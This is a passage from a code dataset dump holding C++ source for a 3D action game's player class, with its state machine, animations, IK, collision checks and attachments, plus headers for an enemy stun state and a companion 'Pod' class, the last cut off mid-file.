"text": "#include \"stdafx.h\"\n#include <algorithm>\n#include \"Player.h\"\n#include \"State/PlayerFlyingState.h\"\n#include \"State/PlayerGroundState.h\"\n#include \"State/PlayerFallState.h\"\n#include \"State/PlayerDiveState.h\"\n#include \"State/PlayerAttackState.h\"\n#include \"State/PlayerGuardState.h\"\n#include \"State/PlayerDeadState.h\"\n#include \"State/PlayerStunState.h\"\n#include \"State/PlayerChurchState.h\"\n#include \"State/PlayerMovieState.h\"\n#include \"../Enemy/EnemyManager.h\"\n#include \"../Enemy/IEnemy.h\"\n#include \"Pod/Pod.h\"\n#include \"../GameSceneMenu.h\"\n#include \"Attachment/JetPack.h\"\n#include \"Attachment/Gun.h\"\n#include \"Attachment/Shield.h\"\n#include \"../Effect/JetEffect.h\"\n#include \"../Camera/GameCamera.h\"\n#include \"Effect/ExplosionEffect.h\"\n#include \"Attack/Bomb.h\"\n#include \"Navimesh/Navimesh.h\"\n\nconst float Player::m_HP_MAX = 500.f;\n\nPlayer::Player()\n{\n}\n\nPlayer::~Player()\n{\n}\n\nstruct PlayerResultCallback : public btCollisionWorld::ConvexResultCallback\n{\n\tbool isHit = false;\n\tVector3 hitPos = Vector3::Zero;\n\tconst Vector3& startPos;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\n\tPlayerResultCallback(const Vector3& v) :\n\t\tstartPos(v)\n\t{\n\t}\n\n\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t{\n\t\tint index = convexResult.m_hitCollisionObject->getUserIndex();\n\t\t\n\t\tif (!bool(index & GameCollisionAttribute::Enemy) || index == -1)\n\t\t\treturn 0.f;\n\t\t/*if (index == -1)\n\t\t{\n\t\t\tDebugPrintValue(EDebugConsoloUser::WATA, \"indx\", index);\n\t\t}*/\n\t\t//if (!(index & enCollisionAttr_Character))\n\t\t\t//return 0.f;\n\n\t\tisHit = true;\n\t\tVector3 hitp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\tVector3 div = startPos - hitp;\n\t\tfloat dis = div.Length();\n\t\tif (dis < dist)\n\t\t{\n\t\t\thitPos = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\tdist = dis;\n\t\t\tcollAttr = index;\n\t\t}\n\t\treturn 0.0f;\n\t}\n};\nvoid Player::Release()\n{\n\tstd::for_each(m_stateList.begin(), m_stateList.end(), [](IPlayerState* state) { delete state; });\n\tDeleteGO(m_model);\n\t//DeleteGO(m_pod);\n\tDeleteGO(m_jetPack);\n\tDeleteGO(m_gun);\n\tDeleteGO(m_shield);\n\n\tDeleteGO(m_explosionEffect);\n\n\tDeleteGO(m_jetSE);\n\n\tfor (int i = 0; i < m_jetEffects.size(); i++) {\n\t\tDeleteGO(m_jetEffects[i]);\n\t}\n\n\tGameManager::GetInstance().m_player = nullptr;\n\t//DeleteGO(m_thrusterEffects[RIGHT]);\n\t//DeleteGO(m_thrusterEffects[LEFT]);\n}\n\nvoid Player::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Player::Awake()\n{\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/m/m_ExBone.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/m/m_ExBone.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\t//m_model->SetMulColor({ 0.5, 0.5, 0.4, 1.f });\n\n\n\tm_jetSE = NewGO< CSoundSource>(0);\n\tm_jetSE->Init(L\"Assets/sound/chara/jetSe.wav\", true);\n\n\t//\n\t/*\n\tModelInitData mid;\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_tkmFilePath = \"Assets/modelData/unityChan.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/unityChan.tks\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\t*/\n\n\t//Init Animation\n\t//const int numAnim = static_cast<int>(EnAnimation::enNumAnim);\n\t//m_animlist.resize(numAnim);\n\n\t//Idle\n\tSetAnimation(TO_INT(EnAnimation::enIdle), \"Assets/modelData/m/anim/m_idle.tka\", true);\n\t//Run\n\tSetAnimation(TO_INT(EnAnimation::enRun), \"Assets/modelData/m/anim/m_dash.tka\", true);\n\t//Walk\n\tSetAnimation(TO_INT(EnAnimation::enWalk), \"Assets/modelData/m/anim/m_walk.tka\", true);\n\t//Hovering\n\tSetAnimation(TO_INT(EnAnimation::enHovering), \"Assets/modelData/m/anim/m_fly.tka\", true);\n\t//FlyMove\n\tSetAnimation(TO_INT(EnAnimation::enFlyMove), \"Assets/modelData/m/anim/m_fly_move.tka\", true);\n\t//FlyMoveFaster\n\tSetAnimation(TO_INT(EnAnimation::enFlyMoveFaster), \"Assets/modelData/m/anim/m_fly_move_dash.tka\", true);\n\t//KnockBack\n\tSetAnimation(TO_INT(EnAnimation::enKnockBack), \"Assets/modelData/m/anim/m_hit.tka\", false);\n\t//Guard\n\tSetAnimation(TO_INT(EnAnimation::enGuard), \"Assets/modelData/m/anim/m_guard.tka\", true);\n\t//Attack\n\tSetAnimation(TO_INT(EnAnimation::enAttack), \"Assets/modelData/m/anim/m_punch_1.tka\", false);\n\t//Punch1\n\tSetAnimation(TO_INT(EnAnimation::enPunch1), \"Assets/modelData/m/anim/m_punch_1.tka\", false);\n\t//Punch2\n\tSetAnimation(TO_INT(EnAnimation::enPunch2), \"Assets/modelData/m/anim/m_punch_2.tka\", false);\n\t//Punch3\n\tSetAnimation(TO_INT(EnAnimation::enPunch3), \"Assets/modelData/m/anim/m_punch_3.tka\", false);\n\t//Kick\n\tSetAnimation(TO_INT(EnAnimation::enKick), \"Assets/modelData/m/anim/m_rolling_kick.tka\", false);\n\t//Throw\n\tSetAnimation(TO_INT(EnAnimation::enThrow), \"Assets/modelData/m/anim/m_srow.tka\", false);\n\t//Tackle\n\tSetAnimation(TO_INT(EnAnimation::enTackle), \"Assets/modelData/m/anim/m_tackle_olt.tka\", false);\n\t//RevolvingTackle\n\tSetAnimation(TO_INT(EnAnimation::enRevolvingTackle), \"Assets/modelData/m/anim/m_rolling_attack.tka\", true);\n\t//Dead\n\tSetAnimation(TO_INT(EnAnimation::enDead), \"Assets/modelData/m/anim/m_death.tka\", true);\n\n\t//Event\n\t//auto& animation = GetModelRender().GetAnimation();\n\t//AnimationEventListener ael = [&](const wchar_t* clipName, const wchar_t* eventName) {\n\t//\tif (wcscmp(eventName, L\"throw\") == 0) {\n\t//\t\tauto bomb = NewGO<Bomb>(0);\n\t//\t\tconst float bombSpeed = 10.f;\n\t//\t\tauto vel = GetForward() * bombSpeed;\n\t//\t\tauto handPos = GetBone(Player::EnPlayerBone::enHand_L)->GetWorldMatrix().GetTransrate();\n\t//\t\tbomb->Init(handPos, vel);\n\t//\t}\n\t//};\n\t//animation.AddAnimationEventListener(ael);\n\n\tm_model->InitAnimation(m_animationMap, m_animationMap.size());\n\tm_model->Play(0);\n}\n\nbool Player::Start()\n{\n\n\t//State\n\tm_stateList.resize(static_cast<int>(EnState::enNumState));\n\tm_stateList[static_cast<int>(EnState::enGround)] = new PlayerGroundState();\n\tm_stateList[static_cast<int>(EnState::enFlying)] = new PlayerFlyingState();\n\tm_stateList[static_cast<int>(EnState::enFall)] = new PlayerFallState();\n\tm_stateList[static_cast<int>(EnState::enDiving)] = new PlayerDiveState();\n\tm_stateList[static_cast<int>(EnState::enAttack)] = new PlayerAttackState();\n\tm_stateList[static_cast<int>(EnState::enDead)] = new PlayerDeadState();\n\tm_stateList[static_cast<int>(EnState::enStun)] = new PlayerStunState();\n\tm_stateList[static_cast<int>(EnState::enGuard)] = new PlayerGuardState();\n\tm_stateList[static_cast<int>(EnState::enChurch)] = new PlayerChurchState();\n\tm_stateList[static_cast<int>(EnState::enMovie)] = new PlayerMovieState();\n\n\tm_currentState = m_nextState = m_stateList[static_cast<int>(EnState::enMovie)];\n\tm_nextState->Enter(this);\n\n\t//Physics\n\tm_charaCon.Init(m_charaConRadius, m_charaConHeight, m_position, /*isUseRigidBody */ true);\n\tm_charaCon.AddCollisionAttribute(GameCollisionAttribute::Player);\n\tm_sphereCollider.Create(m_HandRadius);\n\n\t//Pod\n//\tm_pod = NewGO<Pod>(0);\n\n\t//Attachment\n\tm_playerBones.resize(TO_INT(EnPlayerBone::enNumBoneType));\n\n\tm_jetPack = NewGO<JetPack>(0);\n\tm_jetPack->SetUsingState(false);\n\n\tm_gun = NewGO<Gun>(0);\n\tm_gun->SetUsingState(false);\n\n\tm_shield = NewGO<Shield>(0);\n\tm_shield->SetUsingState(false);\n\n\tauto bone = this->GetModel().GetSkelton()->GetBone(this->GetModel().GetSkelton()->FindBoneID(L\"Bone.005\"));\n\tm_playerBones.at(TO_INT(EnPlayerBone::enBack)) = bone;\n\n\tauto soleR = this->GetModel().GetSkelton()->GetBone(this->GetModel().GetSkelton()->FindBoneID(L\"Sole_R\"));\n\tm_playerBones.at(TO_INT(EnPlayerBone::enSOLE_R)) = soleR;\n\n\tauto soleL = this->GetModel().GetSkelton()->GetBone(this->GetModel().GetSkelton()->FindBoneID(L\"Sole_L\"));\n\tm_playerBones.at(TO_INT(EnPlayerBone::enSOLE_L)) = soleL;\n\n\tauto handR = this->GetModel().GetSkelton()->GetBone(this->GetModel().GetSkelton()->FindBoneID(L\"Hand_R\"));\n\tm_playerBones.at(TO_INT(EnPlayerBone::enHand_R)) = handR;\n\n\tauto handL = this->GetModel().GetSkelton()->GetBone(this->GetModel().GetSkelton()->FindBoneID(L\"Hand_L\"));\n\tm_playerBones.at(TO_INT(EnPlayerBone::enHand_L)) = handL;\n\t\n\t//Effect\n\tauto jetEffect = NewGO<JetEffect>(0);\n\tauto jetEffect1 = NewGO<JetEffect>(0);\n\tJetEffect::JetEffectInitParam jeip;\n\tjeip.effectScale = 0.01f;\n\tjeip.effectScale_inv = 100.f;\n\tjeip.particleScale = 5.f;\n\tjeip.particleLifeTime = 1.f;\n\tjeip.particleYUp = 300.f;\n\tjetEffect->Init(jeip);\n\tjetEffect1->Init(jeip);\n\tm_jetEffects.push_back(jetEffect);\n\tm_jetEffects.push_back(jetEffect1);\n\n\tInitIK();\n\n\tm_explosionEffect = NewGO<ExplosionEffect>(0);\n\tm_explosionEffect->Init();\n\tm_explosionEffect->SetSca(Vector3::One * 0.2f);\n\n\treturn true;\n}\n\n\nvoid Player::InitIK() {\n\tfloat radius = 0.5f;\n\tauto ske = m_model->GetModel().GetSkelton();\n\t{\n\t\tIK* ikHandL = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Hand_L\")), 3, radius);\n\t\tikHandL->SetIKMode(IK::enMode_NoneHit);\n\t\tm_ikMap.insert(std::make_pair(TO_INT(EnPlayerBone::enHand_L), ikHandL));\n\t}\n\t{\n\t\tIK* ikHandR = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Hand_R\")), 3, radius);\n\t\tikHandR->SetIKMode(IK::enMode_NoneHit);\n\t\tm_ikMap.insert(std::make_pair(TO_INT(EnPlayerBone::enHand_R), ikHandR));\n\t}\n\t{\n\t\tIK* Sole_R = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Sole_R\")), 3, radius);\n\t\tSole_R->SetIKMode(IK::enMode_NoneHit);\n\t\t//Sole_R->InitGhost();\n\t\tm_ikMap.insert(std::make_pair(TO_INT(EnPlayerBone::enSOLE_R), Sole_R));\n\t}\n\t{\n\t\tIK* Sole_L = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Sole_L\")), 3, radius);\n\t\tSole_L->SetIKMode(IK::enMode_NoneHit);\n\t\t//Sole_L->InitGhost();\n\t\tm_ikMap.insert(std::make_pair(TO_INT(EnPlayerBone::enSOLE_L), Sole_L));\n\t}\n\t{\n\t\tIK* bone004 = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone.004\")), 3, radius);\n\t\tbone004->SetIKMode(IK::enMode_NoneHit);\n\t\tm_ikMap.insert(std::make_pair(TO_INT(EnPlayerBone::enBack), bone004));\n\t}\n}\n\nvoid Player::PreUpdate()\n{\n\tif (GameManager::GetInstance().GetCurrentGameState() == GameManager::EnGameState::Loading) return;\n\n\tif (GameManager::GetInstance().m_menu != nullptr and GameManager::GetInstance().m_menu->IsGamePaused()) return;\n\n\tSoundEngine().SetListenerPosition(m_position);\n\tm_jetSE->SetPosition(m_position);\n\n\tm_charaCon.Execute(gameTime()->GetDeltaTime(), m_velocity + m_externalVelocity);\n\t//DebugPrintVector3(EDebugConsoloUser::WATA, m_velocity);\n\tm_position = m_charaCon.GetPosition();\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n}\n\nvoid Player::Update()\n{\n\n\n\t//Attachments\n\t//Jetpack\n\tif (m_currentAttackPreset == EnAttackPreset::enMeleePreset) {\n\t\tm_jetPack->SetUsingState(true);\n\t\tconst auto& mat = m_playerBones.at(TO_INT(EnPlayerBone::enBack))->GetWorldMatrix();\n\t\tm_jetPack->SetPosition(mat.GetTransrate());\n\t\tm_jetPack->SetRotation(mat.GetRotate());\n\t}\n\telse {\n\t\tm_jetPack->SetUsingState(false);\n\t}\n\n\t//Gun\n\tif (m_currentAttackPreset == EnAttackPreset::enRemoteAttackPreset) {\n\t\tm_gun->SetUsingState(true);\n\t\tconst auto& mat = m_playerBones.at(TO_INT(EnPlayerBone::enBack))->GetWorldMatrix();\n\t\tm_gun->SetPosition(mat.GetTransrate());\n\t\tm_gun->SetRotation(mat.GetRotate());\n\t}\n\telse {\n\t\tm_gun->SetUsingState(false);\n\t}\n\n\t//Shield\n\tif (m_currentAttackPreset == EnAttackPreset::enExplosivePreset) {\n\t\tm_shield->SetUsingState(true);\n\t\tconst auto& mat = m_playerBones.at(TO_INT(EnPlayerBone::enBack))->GetWorldMatrix();\n\t\tm_shield->SetPosition(mat.GetTransrate());\n\t\tm_shield->SetRotation(mat.GetRotate());\n\t}\n\telse {\n\t\tm_shield->SetUsingState(false);\n\t}\n\n\tif (GameManager::GetInstance().GetCurrentGameState() != GameManager::EnGameState::InGame) return;\n\tif (GameManager::GetInstance().m_menu != nullptr and GameManager::GetInstance().m_menu->IsGamePaused()) return;\n\n\tif (GameManager::GetInstance().m_gameScene != nullptr) {\n\t\tSearchTarget();\n\t}\n\tUpdateAttackType();\n\n\t//Calc forward\n\tauto& world = m_model->GetModel().GetWorldMatrix();\n\tm_forward.x = world.mat._31;\n\tm_forward.y = world.mat._32;\n\tm_forward.z = world.mat._33;\n\tm_forward.Normalize();\n\n\tm_nextState = m_currentState->Update(this);\n\n\tif (GameManager::GetInstance().m_gameScene != nullptr) {\n\n\t\tif (m_hp <= 0) {\n\t\t\tm_nextState = m_stateList[static_cast<int>(EnState::enDead)];\n\t\t}\n\n\t\tif (m_isInChurch) {\n\t\t\tm_nextState = m_stateList[static_cast<int>(EnState::enChurch)];\n\t\t}\n\t\telse if (m_currentState == m_stateList[static_cast<int>(EnState::enChurch)]) {\n\t\t\tm_nextState = m_stateList[static_cast<int>(EnState::enGround)];\n\t\t}\n\t}\n\n\tif (m_nextState != m_currentState) {\n\t\tm_currentState->Exit(this);\n\t\tm_previousState = m_currentState;\n\t\tm_currentState = m_nextState;\n\t\tm_currentState->Enter(this);\n\t}\n}\n\nvoid Player::PostUpdate()\n{\n\t//Effect\n\tif (!m_isUsingThrusters) {\n\n\t\tm_jetEffects[LEFT]->SetGenerateFlag(false);\n\t\tm_jetEffects[RIGHT]->SetGenerateFlag(false);\n\t\t//m_thrusterEffects[LEFT]->SetActive(false);\n\t\t//m_thrusterEffects[RIGHT]->SetActive(false);\n\t\tm_jetPack->StopThrusters();\n\t\t//return;\n\t}\n\telse {\n\t\tm_jetEffects[LEFT]->SetGenerateFlag(true);\n\t\tm_jetEffects[RIGHT]->SetGenerateFlag(true);\n\t\tm_jetPack->FireThrusters();\n\t}\n\n\t//m_thrusterEffects[LEFT]->SetActive(true);\n\t//m_thrusterEffects[RIGHT]->SetActive(true);\n\n\tm_jetEffects[RIGHT]->SetPosition(GetBone(Player::EnPlayerBone::enSOLE_R)->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[RIGHT]->SetRotation(GetBone(Player::EnPlayerBone::enSOLE_R)->GetWorldMatrix().GetRotate());\n\tm_jetEffects[LEFT]->SetPosition(GetBone(Player::EnPlayerBone::enSOLE_L)->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[LEFT]->SetRotation(GetBone(Player::EnPlayerBone::enSOLE_L)->GetWorldMatrix().GetRotate());\n\n\t/*\n\tconst auto& boneSoleLMat = GetBone(Player::EnPlayerBone::enSOLE_L)->GetWorldMatrix();\n\tm_thrusterEffects[LEFT]->SetRot(boneSoleLMat.GetRotate());\n\tm_thrusterEffects[LEFT]->SetPos(boneSoleLMat.GetTransrate());\n\n\tconst auto& boneSoleRMat = GetBone(Player::EnPlayerBone::enSOLE_R)->GetWorldMatrix();\n\tm_thrusterEffects[RIGHT]->SetRot(boneSoleRMat.GetRotate());\n\tm_thrusterEffects[RIGHT]->SetPos(boneSoleRMat.GetTransrate());\n\t*/\n\n\t//if (GameManager::GetInstance().m_gameScene != nullptr) {\n\tif (GameManager::GetInstance().GetCurrentGameState() == GameManager::EnGameState::InGame) {\n\n\t\tif (m_position.y <= m_ResetPos) {\n\t\t\tVector3 nearestCellPos = Vector3::Zero;\n\t\t\tfloat nearestDist = FLT_MAX;\n\t\t\tauto& cells = GameManager::GetInstance().m_nvm.GetCell();\n\t\t\tconst auto playerPos = Vector3(m_position.x, 0.f, m_position.z);\n\t\t\tfor (auto cell : cells) {\n\t\t\t\tconst auto cellCenterPos = Vector3(cell->centerPos.x, 0.f, cell->centerPos.z);\n\t\t\t\tauto dist = (cellCenterPos - playerPos).LengthSq();\n\t\t\t\tif (dist < nearestDist) {\n\t\t\t\t\tnearestDist = dist;\n\t\t\t\t\tnearestCellPos = cell->centerPos;\n\t\t\t\t}\n\t\t\t}\n\t\t\tSetPosition(nearestCellPos);\n\t\t}\n\t}\n\n}\n\nconst bool Player::ColCheck(const Player::EnPlayerBone& bone) {\n\tconst auto& bonePos = GetBone(bone)->GetWorldMatrix().GetTransrate();\n\n\t//Physics\n\t//btVector3 velocity = m_forward;\n\tbtVector3 velocity(m_forward.x, m_forward.y, m_forward.z);\n\t//btVector3 velocity(0,0,0);\n\tbtScalar allowedCcdPenetration = 0.f;\n\n\t/*btTransform t_from = btTransform(btQuaternion::getIdentity());\n\tt_from.setOrigin(btVector3(bonePos.x, bonePos.y, bonePos.z));\n\tbtTransform t_to = t_from;\n\tt_to.setOrigin(t_to.getOrigin() + velocity);*/\n\tbtTransform t_from = btTransform(btQuaternion::getIdentity());\n\tt_from.setOrigin(btVector3(m_position.x, m_position.y, m_position.z));\n\tbtTransform t_to;\n\tt_to.setIdentity();\n\tt_to.setOrigin(btVector3(bonePos.x, bonePos.y, bonePos.z));\n\n\t//btCollisionWorld::ClosestConvexResultCallback cb(t_from.getOrigin(), t_to.getOrigin());\n\tPlayerResultCallback cb(t_from.getOrigin());\n\n\tPhysics().ConvexSweepTest((const btConvexShape*)m_sphereCollider.GetBody(), t_from, t_to, cb, 0.f);\n\n\tauto dist = (bonePos - m_model->GetPosition()).Length();\n\t//DebugPrintVector3(EDebugConsoloUser::WATA, );\n\n\tif (cb.isHit)\n\t{\n\t\tif (cb.collAttr & GameCollisionAttribute::Enemy)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn false;\n}\n\n\nvoid Player::Render()\n{\n\n}\n\nvoid Player::PostRender()\n{\n\n}\n\nvoid Player::SearchTarget() {\n\t//auto enemy = EnemyManager::GetEnemyManager().GetNearestEnemy();\n\t//auto enemy = GameManager::GetInstance().m_camera->GetTarget();\n\treturn;\n\n\tauto enemy = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\tif (enemy != nullptr /*and enemy->IsBoss()*/ and (enemy->GetState(TO_INT(IEnemy::EnState::enIdleState)) != enemy->GetCurrentState() or\n\t\tenemy->GetState(TO_INT(IEnemy::EnState::enDeadState)) != enemy->GetCurrentState())) {\n\t\t//m_target = enemy;\n\t}\n\telse {\n\t\t//m_target = nullptr;\n\t}\n}\n\nvoid Player::UpdateAttackType() {\n\n\tif (g_pad[0]->IsTrigger(enButtonLeft)) {\n\t\tif (m_canUsePreset[TO_INT(EnAttackPreset::enRemoteAttackPreset)]) {\n\t\t\tm_currentAttackPreset = EnAttackPreset::enRemoteAttackPreset;\n\t\t}\n\t}\n\n\tif (g_pad[0]->IsTrigger(enButtonUp)) {\n\t\tif (m_canUsePreset[TO_INT(EnAttackPreset::enMeleePreset)])\n\t\t\tm_currentAttackPreset = EnAttackPreset::enMeleePreset;\n\t}\n\n\tif (g_pad[0]->IsTrigger(enButtonRight)) {\n\t\tif (m_canUsePreset[TO_INT(EnAttackPreset::enExplosivePreset)])\n\t\t\tm_currentAttackPreset = EnAttackPreset::enExplosivePreset;\n\t}\n\n\tif (g_pad[0]->IsTrigger(enButtonDown)) {\n\t\tm_currentAttackPreset = EnAttackPreset::enDefault;\n\t}\n}\n\n\nvoid Player::Explode() {\n\tm_explosionEffect->SetPos(m_position);\n\tm_explosionEffect->Play();\n}\n\nvoid Player::MovePerformance(const Vector3 startPos, const Vector3 velocity, const Quaternion rot) {\n\tSetPosition(startPos);\n\tSetRotation(rot);\n\tSetVelocity(velocity);\n\t//syncPod'sPos';\n}\n\n//void Player::InitThrusterEffect() {\n\t//const static float EFFECT_SCALE = 0.01f;\n\t//const static float EFFECT_SCALE_INV = 100.f;\n\n\t//const static float PERTICLE_SCALE = 500.f;\n\t//const static float PERTICLE_LIFE_TIME = 1.f;\n\t//const static float PERTICLE_Y_UP = 300.f;\n\n\t////パーティクルの拡張構造体。\n\t//struct ParticleData\n\t//{\n\t//\tfloat rnd;\t\t//パーリンノイズで使うためのseed値的なもの\n\t//\tVector3 pos;\t//パーティクルの初期位置(ローカル)\n\t//};\n\t////Effects\n\t//PlaneParticleEffectInitData pid;\n\t//pid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\t//pid.m_height = 10;\n\t//pid.m_width = 10;\n\t//pid.m_extendDataSize = sizeof(ParticleData);\n\t//pid.m_isBillboard = true;\n\t////pid.m_isBillboard = false;\n\t////pid.m_isDepthTest = false;\n\t//PlaneParticleUpdater m_effctUpdater(\n\t//\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis, deltaTime)\n\t//{\n\t//\tstatic float time = 0;\n\t//\tstatic Vector3 oldPos[2] = { g_vec3Zero };\t// エフェクトの前のポジション\n\t//\tstatic int footNum = 0;\n\n\t//\tauto pThrust = EnemyManager::GetEnemyManager().GetPlayer()->IsUsingThrusters();\n\t//\tif (time >= 0.01f and pThrust)\n\t//\t{\n\t//\t\tParticleData pd;\n\n\t//\t\t//エフェクトのQuaternionをゲット\n\t//\t\tQuaternion rot = pThis->GetWorldMatrix().GetRotate();\n\t//\t\trot.Inverse(rot);\t//エフェクトの逆Quaternion これを使うとワールド座標になる\n\n\t//\t\t//新しいエフェクトの位置から古いエフェクトの位置のベクトル\n\t//\t\tVector3 posv = oldPos[footNum] - pThis->GetWorldMatrix().GetTransrate();\n\n\t//\t\tfor (int _i = 0; _i < 50; _i++)\n\t//\t\t{\n\t//\t\t\tpd.rnd = GRandom().Rand();\n\n\t//\t\t\tpd.pos = posv* ((float)_i / 49.f * EFFECT_SCALE_INV);\n\t//\t\t\trot.Apply(pd.pos);\n\n\t//\t\t\t//次のフレームのための高さ補間。\n\t//\t\t\tpd.pos.y += (float)_i / 49.f * PERTICLE_Y_UP * deltaTime;\n\t//\t\t\t\n\t//\t\t\tpThis->AddParticle(pd.pos, g_vec3One * PERTICLE_SCALE, g_quatIdentity, { 3,2.f,0.3,0.5 }, PERTICLE_LIFE_TIME, &pd, true);\n\t//\t\t}\n\t//\t\ttime = 0;\n\t//\t}\n\n\t//\toldPos[footNum] = pThis->GetWorldMatrix().GetTransrate();\n\t//\tfootNum ^= 1;\n\t//\ttime += deltaTime;\n\t//},\n\t//\t[&]PLANE_PARTICLE_UPDATE_FUNC(data, deltaTime, extendData)\n\t//{\n\t//\tauto& s = *(ParticleData*)extendData;\n\t//\tdata.particleData.pos.y += PERTICLE_Y_UP * deltaTime;\n\n\t//\tfloat n = GPerlinNoise2D().GenerateNoise({ s.rnd * 10, data.particleData.pos.y / 10.f });\n\t//\tfloat m = GPerlinNoise2D().GenerateNoise({ data.particleData.pos.y / 10.f, s.rnd * 10 });\n\t//\tdata.particleData.pos.x = s.pos.x + n * 500.f * deltaTime;\n\t//\tdata.particleData.pos.z = s.pos.z + m * 500.f * deltaTime;\n\n\t//\tdata.particleData.sca = g_vec3One * min((data.lifeTime / PERTICLE_LIFE_TIME) + 0.1f, 1.f) * 5.f;\n\n\t//\tVector3 col;\n\t//\tcol.Lerp(data.lifeTime / PERTICLE_LIFE_TIME, { 3,0.1f,0.0 }, { 3,1.5f,0.3 });\n\t//\tdata.particleData.mulColor.Set(col);\n\t//\tdata.particleData.mulColor.a = data.lifeTime / PERTICLE_LIFE_TIME;\n\n\t//});\n\t//pid.m_updater = &m_effctUpdater;\n\n\t//m_thrusterEffects[RIGHT] = NewGO<PlaneParticleEffectRender>(0);\n\t//m_thrusterEffects[RIGHT]->Init(pid);\n\t//m_thrusterEffects[RIGHT]->SetPos({ 0,0,50 });\n\t//m_thrusterEffects[RIGHT]->SetSca(g_vec3One * EFFECT_SCALE);\n\n\t//m_thrusterEffects[LEFT] = NewGO<PlaneParticleEffectRender>(0);\n\t//m_thrusterEffects[LEFT]->Init(pid);\n\t//m_thrusterEffects[LEFT]->SetPos({ 0,0,50 });\n\t//m_thrusterEffects[LEFT]->SetSca(g_vec3One * EFFECT_SCALE);\n//}\n\n"
},
{
"alpha_fraction": 0.6885553598403931,
"alphanum_fraction": 0.7129455804824829,
"avg_line_length": 19.5,
"blob_id": "1b23ab86eae215b2274056a88ca8bd8061b030a5",
"content_id": "e6c9acf0c724b156c8309425fafd54ccefa7039e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 533,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 26,
"path": "/Game/Enemy/State/EnemyShortRangeStunState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemyShortRangeStunState final : public IEnemyState\n{\npublic:\n\tEnemyShortRangeStunState();\n\t~EnemyShortRangeStunState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\n\tfloat m_timer = 0.f;\n\tfloat m_t = 0.f;\n\tfloat m_timeLimit = 0.f;\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_velocityEnd = Vector3::Zero;\n\n\tVector3 m_knockBack = Vector3::Zero;\n\tfloat m_up = 0.f;\n\n\tfloat m_grav = 100.f;\n\n\tIK* m_ik = nullptr;\n};\n"
},
{
"alpha_fraction": 0.6643804311752319,
"alphanum_fraction": 0.680841326713562,
"avg_line_length": 18.35398292541504,
"blob_id": "824e5e81a221213f404279da3c9752aca485870d",
"content_id": "46f76b9e0249e860584b15bd61d298f05b25adcc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4730,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 226,
"path": "/Game/Player/Pod/Pod.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../Attack/PlayerLongRangeAttack.h\"\n\nclass Player;\nclass JetEffect;\nclass ExplosionEffect;\nclass Beam;\nclass PlayerBulletManager;\n\n/// <summary>\n/// \n/// </summary>\nclass Pod :public GameObject\n{\npublic:\n\tPod();\n\tvirtual ~Pod();\n\n\tstruct PodAbility {\n\t\tconst float STAMINA_MAX = 100.f;\n\t\tfloat currentStamina = STAMINA_MAX;\n\t\tconst float StaminaChargeSpeed = 5.f;\n\t};\n\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid SetPosition(const Vector3& pos) {\n\t\tm_pos = 